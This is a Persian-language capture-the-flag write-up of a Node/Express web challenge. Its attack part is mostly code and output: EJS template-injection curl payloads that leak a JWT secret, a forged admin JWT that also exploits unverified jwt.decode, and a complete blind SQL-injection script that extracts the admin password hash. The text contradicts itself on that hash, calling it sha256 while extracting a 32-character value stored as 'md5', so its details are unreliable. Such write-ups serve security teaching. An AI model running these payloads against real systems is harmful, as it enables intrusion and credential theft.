چالش اول وب - رنگارنگ
توضیحات
از بچگی عاشق رنگارنگ بودم!
قالب پرچم در این سوال به صورت
PARCHAM{sha256(admin's password)}
است.
حل چالش
گام اول
در این سوال به ما آدرس یک سایت داده شده. با بررسی سایت متوجه میشویم که سایت در حالتهای مختلف صفحه های مختلف دارد.
وقتی کاربر لاگین نکرده است:
در این حالت دو صفحهی اصلی وجود دارد: صفحهی/login
و صفحهی /register
.
مشخصات کاربر برای ثبت نام کردن علاوه بر نام کاربری و کلمهی عبور یک عدد مورد علاقه
(بین ۱ تا ۲۰) و یک رنگ مورد علاقه (از رنگهای داده شده) است. در عکس زیر تصویر مربوط به
صفحهی /register
آمده است.
وقتی کاربر لاگین کرده است:
برای این حالت از صفحهی register یک حساب جدید میسازیم و با مشخصات آن وارد سایت میشویم. میبینیم که در این حالت دو صفحه وجود دارد:
صفحه welcome. در این صفحه عبارت welcome با نام کاربری امده است.
صفحه Report. که در آدرس
/report
آمده است. این صفحه به ما خطای Access Denied میدهد.
علاوه بر این دو صفحه. در حالت لاگین شده میتوان از طریق ادرس /logout
از حالت لاگین خارج شد.
صفحات نشان دادن کد برنامه:
در هر دو حالت دسترسی به صفحه /debug وجود دارد. با بررسی کردن آن متوجه میشویم که در مجموع به source فایل های زیر از کد برنامه دسترسی داریم.
صفحهی index.js
صفحهی engine.js
صفحهی debugMode.js
که با query string ای با نام file به آدرس debug داده شده است.
گام دوم
شروع به بررسی کدهای برنامه میکنیم. این برنامه با استفاده از کتابخانهی express روی node.js کار میکند. برای نگه داشتن اطلاعات کاربران به یک پایگاه دادهی mysql وصل میشود. مثلا کد زیر بخش register است. لاگین بودن کاربران با cookie اتفاق میافتد که به صورت stateless است و از jwt برای آن استفاده شده.
const q = 'INSERT INTO users VALUES (NULL, ?, ?, ?, ?, 0)';
const p = hash(password);
connection.query(q, [username, p, number, color], function (err, r, f) {
if (err) {
console.log(err);
console.log();
console.log(err.stack);
console.log();
res.rs(engine.get('register'), {colors, err: true, text: username});
return;
}
res.redirect('/login');
});
صفحهی engine.js با استفاده از ejs template engine صفحات را رندر میکند. به تمام res ها تابع rs را اضافه میکند که یک تمپلیت را با دیتای مشخص رندر میکند. و در index.js و debugMode.js از این فانکشن برای رندر کردن استفاده میشود.
res.rs = function renderAndSend(template, data = {}) {
res.send(ejs.render(template, data, {
views: [path.join(__dirname, './views/')]
}));
};
همچنین فایل debugMode.js کار syntax highlighting را انجام میدهد و endpoint ای به express اضافه میکند که صفحهی /debug را هندل میکند.
با بررسی کد متوجه میشویم که یک اشتباه در پیادهسازی این هندلر در debugMode.js اتفاق افتاده. اگر query string ورودی (به نام file) سه فایل گفته شده در بالا نباشد به کاربر یک خطا نشان داده میشود.
if (!sources.includes(file)) {
console.log(file);
res.rs(`<h1>cannot open file ${file}</h1>`);
return;
}
در زبان javascript استفاده از ${file}
ورودی کاربر را درون استرینگ قرار میدهد. اما این ورودی به صورت مستقیم به تابع rs
داده شده. که آن را با استفاده از ejs
رندر میکند. یعنی اینجا میتوانیم از template injection استفاده کنیم.
گام سوم
برای مطمئن شدن از این injection میتوانیم از دستور زیر استفاده کنیم:
$ curl "http://86.104.33.87:1339/debug?file=hi+<%-7*7%>"
<h1>cannot open file hi 49</h1>
حالا باید از این template injection استفاده کنیم تا کلید مربوط به jwt را پیدا کنیم. در فایل index این کلید به این شکل خوانده شده است.
const {secret} = require('./jwtSecret');
در node.js هنگام require کردن، فایلهای مختلفی ممکن است باز شود. سه مورد زیر بعضی از آنهاست. (این همهی حالتها نیست. و میتواند پیچیدهتر باشد. ولی معمولا یکی از این سه حالت است)
jwtSecret.js
jwtSecret.json
jwtSecret/index.js
با داشتن template injection میتوانیم هر کدام از این فایل ها را بررسی کنیم تا به کلید jwt برسیم. در ejs برای خواندن یک فایل میتوانیم از دستور include استفاده کنیم.
به علاوه از کد engine.js داشتیم که فایل های تمپلت ها در آدرس path.join(__dirname, './views/')
قرار داشت. پس برای دسترسی به فایل jwtSecret باید
یک فولدر به عقب برگردیم. پس سعی میکنیم دستور زیر را به عنوان تمپلت اجرا کنیم.
<%- include('../jwtSecret.js') %>
که با curl به شکل زیر میشود.
curl "http://86.104.33.87:1339/debug?file=<%-include('../jwtSecret.js')%>" && echo
<h1>cannot open file module.exports.secret = "jwt_707ae7473899d00d577aa8c019fa17c0103f7dceeb10e0d112079d1388d5d28d";
</h1>
و به مقدار jwt secret میرسیم. با بررسی jwt ای که در cookie بعد از لاگین قرار داشت (و از طریق کد) میفهمیم که مقدار access آن اگر ۱ باشد دسترسی ما به صفحهی /report باز میشود پس cookie اکانتی که ساختیم را تغییر میدهیم و با کلیدی که به دست اوردیم دوباره رمز میکنیم. (مثلا با استفاده از این ابزار). مثلا برای اکانتی که من ساخته بودم با تغییر access به ۱ و دوباره ساختن jwt به کلید جدید زیر رسیدم:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImZvcndyaXRldXAiLCJhY2Nlc3MiOjEsImlhdCI6MTYwODQ1MTYzNn0.dQZwpP9k4T7BxEIMmXJdgJ1RGxUk3y2XRMUkkojZ3Uw
حالا میتواینم این را در cookie خود قرار دهیم و به صفحهی /report دسترسی پیدا کنیم!
گام چهارم
حالا که به صفحهی /report
و /api/report
دسترسی داریم میتوانیم از اشتباهی که در پیاده سازی /api/report
وجود دارد استفاده کنیم.
در این قسمت برای به دست اوردن مقدار های نمودار از کد زیر استفاده شده.
connection.query(
`SELECT number, COUNT(id) FROM users WHERE color="${color}" GROUP BY number ORDER BY number;`,
function (error, results, fields) {
....
}
);
همانطور که از روی کد معلوم است در این بخش ورودی color بدون تغییر به sql رفته است و اینجا sql injection داریم. این دستور sql را میتوانیم به شکل زیر تغییر دهیم:
-- input somecolor" and username="admin
SELECT number, COUNT(id) FROM users WHERE color="somecolor" and username="admin" GROUP BY number ORDER BY number
در این حالت این شمارش فقط برای admin و رنگی که گفته شده انجام میشود. در نتیجه اگر رنگ مورد علاقهی admin را به عنوان ورودی داده باشیم در یک عدد (که عدد مورد علاقهی admin است) مقدار ۱ میشود. در هر حالت دیگر مقدار ها صفر است.
مثلا آدرس برای رنگ آبی را اگر در مرورگری که cookie مناسب برای دسترسی به report داشته باشد باز کنیم پاسخ زیر را میگیریم
{"data":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}
و با تست کردن رنگ های مختلف میفهمیم که برای رنگ قرمز به خروجی زیر میرسیم.
{"data":[0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0]}
این یعنی رنگ مورد علاقهی admin، قرمز بوده و عدد مورد علاقه اش ۷ بوده است. حالا با کمی تغییر دستور قبلی میتوانیم پسورد ادمین را هم به query مربوط کنیم.
-- input red" and username="admin" and password like "somepass%
SELECT number, COUNT(id) FROM users WHERE color="red" and username="admin" and password like "somepass%" GROUP BY number ORDER BY number
این کد در صورتی مقدار ۱ در data ی خود دارد، که sha256 پسورد ادمین (که در فیلد password در دیتابیس نگه داری میشود) با somepass شروع شود. پس حالا یک روش برای blind injection داریم. کد زیر را مینویسیم تا از blind sql injection استفاده کند تا به sha256 پسورد ادمین برسیم.
const fs = require('fs');
const needle = require('needle');
const assert = require('assert').strict;
const jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImZvcndyaXRldXAiLCJhY2Nlc3MiOjEsImlhdCI6MTYwODQ1MTYzNn0.dQZwpP9k4T7BxEIMmXJdgJ1RGxUk3y2XRMUkkojZ3Uw";
const url="http://86.104.33.87:1339/api/report";
async function query(q) {
const u = `${url}?color=${escape(q)}`;
console.log(u);
const r = await needle("GET", u, null, {
cookies: {
token: jwt
}
});
assert(r.statusCode === 200);
return r.body;
}
async function main() {
const hex = "0123456789abcdef";
const len = 32;
const faveColor = "red";
const faveNum = 7;
let md5 = "";
for (let i = 0; i < len; ++i) {
let found = false;
for (const c of hex) {
const {data} = await query(`${faveColor}" and username="admin" and password like "${md5}${c}%`);
if (data[faveNum - 1] === 1) {
found = true;
md5 += c;
break;
}
}
if (!found)
throw new Error("Unknown char");
}
console.log("admin pass:", md5);
}
main();
با اجرای این کد مقدار sha256 پسورد ادمین را پیدا میکنیم که از روی آن flag را میسازیم:
PARCHAM{b7d11cb293f49353dad831927bf45b20}
راه کمی راحت تر!
در گام سوم از template injection برای پیدا کردن کلید jwt استفاده کردیم. اما اگر به کد برنامه با دقت بیشتری نگاه کنیم متوجه میشویم که یک مشکل جدی دیگر نیز در source برنامه وجود دارد.
function getSession(req) {
const {token} = req.cookies;
if (token != null) {
try {
const {username, access} = jwt.decode(token);
return {username, access};
} catch(e) {
}
}
return {};
}
دستور jwt.decode با یک مقدار و بدون secret صدا زده شده. در پیادهسازی کتابخانهjsonwebtoken
ای که استفاده شده، اگر secret code داده نشود بخش سوم jwt را به صورت کامل نادیده میگیرد. در نتیجه نیازی به secret برای ساختن jwt نداریم.
این را میتوان با اجرا کردن دستورات زیر بررسی کنیم:
const jwt = require('jsonwebtoken');
jwt.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImZvcndyaXRldXAiLCJhY2Nlc3MiOjEsImlhdCI6MTYwODQ1MTYzNn0.")
// { username: 'forwriteup', access: 1, iat: 1608451636 }
پس میتوانیم بدون انجام مراحل گام سوم، یک کلیدی بسازیم که به /report
دسترسی پیدا کند. و ادامه ی راه حل را از گام چهارم به بعد انجام دهیم.